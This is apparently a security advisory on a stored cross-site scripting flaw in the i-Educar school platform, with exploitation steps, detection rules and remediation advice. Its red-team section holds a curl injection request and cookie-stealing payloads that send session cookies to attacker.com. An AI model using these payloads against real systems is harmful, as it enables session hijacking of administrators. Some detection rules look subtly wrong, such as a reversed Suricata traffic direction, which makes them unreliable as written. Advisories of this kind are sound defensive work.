CVE-2025-10372

Executive Summary

CVE-2025-10372 identifies a stored cross-site scripting (XSS) vulnerability in Portabilis i-Educar, a widely used educational management platform in Brazil. The flaw resides in the /intranet/educar_modulo_cad.php file, where the nm_tipo and descricao parameters are not properly sanitized before being stored and later rendered in the application. An attacker can inject arbitrary JavaScript or HTML payloads, which will execute in the context of any administrator or user who views the affected module. The vulnerability is remotely exploitable without authentication, though user interaction (e.g., an admin viewing the malicious entry) is required for the XSS to trigger. The CVSS score is 3.5 (Low), but the public availability of a proof-of-concept (PoC) exploit increases the risk. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must view the malicious content.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No direct data leakage.
• Integrity Impact: Low (I:L) – The attacker can modify content displayed to the victim.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low, but the public PoC and lack of patch elevate the urgency for organizations using i-Educar. The XSS can be used to steal session cookies, deface pages, or perform phishing attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the module registration functionality of i-Educar. The file /intranet/educar_modulo_cad.php accepts user-supplied input via the nm_tipo (module type name) and descricao (description) parameters. These inputs are likely stored in a database without proper sanitization or output encoding. When an administrator or user navigates to a page that renders these values (e.g., a module listing or detail view), the injected script executes in the victim's browser.

The attack flow:

1. An attacker sends a POST request to /intranet/educar_modulo_cad.php with malicious payloads in nm_tipo and descricao.
2. The server stores the payload in the database.
3. A victim (e.g., an admin) visits a page that displays the stored data.
4. The victim's browser executes the injected script, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

The exploit is publicly available, meaning attackers can easily replicate the attack. The EPSS score of 0.0% suggests low exploitation activity currently, but this may change as awareness grows.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the vulnerable code pattern. The likely vulnerable PHP code in educar_modulo_cad.php:

// Vulnerable code (conceptual)
$nm_tipo = $_POST['nm_tipo'];
$descricao = $_POST['descricao'];
$sql = "INSERT INTO modulos (nm_tipo, descricao) VALUES ('$nm_tipo', '$descricao')";
mysqli_query($conn, $sql);

A patched version would sanitize inputs and encode outputs:

// Patched code (conceptual)
$nm_tipo = htmlspecialchars($_POST['nm_tipo'], ENT_QUOTES, 'UTF-8');
$descricao = htmlspecialchars($_POST['descricao'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO modulos (nm_tipo, descricao) VALUES (?, ?)");
$stmt->bind_param("ss", $nm_tipo, $descricao);
$stmt->execute();

The patch must also ensure that when data is retrieved and displayed, it is properly escaped using htmlspecialchars() or a templating engine that auto-escapes.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running i-Educar up to version 2.10.
• Network access to the /intranet/educar_modulo_cad.php endpoint.

Exploit Steps:

1. Craft the payload: Use a simple JavaScript alert for PoC or a cookie stealer for real attacks.

   <script>alert('XSS')</script>
   

   Or for cookie theft:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the malicious request:

   curl -X POST "http://target/intranet/educar_modulo_cad.php" \
   -d "nm_tipo=<script>alert('XSS')</script>&descricao=Test"
   

3. Trigger the XSS: An administrator or user visits the module listing page (e.g., /intranet/educar_modulo.php). The script executes.

Advanced Payload: For session hijacking:

<script>
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /intranet/educar_modulo_cad.php containing suspicious patterns like <script, onerror, javascript:.
• Use WAF rules to block common XSS payloads.
• Review server logs for unusual parameters in nm_tipo and descricao.

Mitigation:

• Apply input validation: allow only alphanumeric characters and spaces in nm_tipo and descricao.
• Implement output encoding using htmlspecialchars() or a templating engine.
• Use Content Security Policy (CSP) headers to restrict script execution.
• If possible, disable the module registration feature until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /intranet/educar_modulo_cad.php with nm_tipo or descricao containing <script> tags or event handlers.
  • Outbound connections to attacker-controlled domains from the i-Educar server (e.g., for cookie exfiltration).

• File IOCs:

  • Suspicious entries in the database table modulos with nm_tipo or descricao containing JavaScript.

• Log IOCs:

  • Web server logs showing repeated POST requests to educar_modulo_cad.php with unusual parameters.
  • Error logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_10372_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10372 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10372"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10372 XSS Attempt in i-Educar
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in POST requests to educar_modulo_cad.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/intranet/educar_modulo_cad.php'
        cs-request-body|contains|all:
            - 'nm_tipo'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10372 XSS Attempt in i-Educar";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/intranet/educar_modulo_cad.php";
    http_uri;
    content:"nm_tipo";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-10372;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the module registration feature by removing or renaming educar_modulo_cad.php until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script, onerror, javascript: in the nm_tipo and descricao parameters.
3. Apply input validation on the server side: allow only alphanumeric characters, spaces, and basic punctuation.
4. Use output encoding when rendering stored data: htmlspecialchars($data, ENT_QUOTES, 'UTF-8').

Long-Term Fix:

• Upgrade to a patched version of i-Educar once released by Portabilis.
• Conduct a security audit of the entire application for similar XSS vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If the feature is critical, restrict access to the endpoint via IP whitelisting or authentication.

Valters IT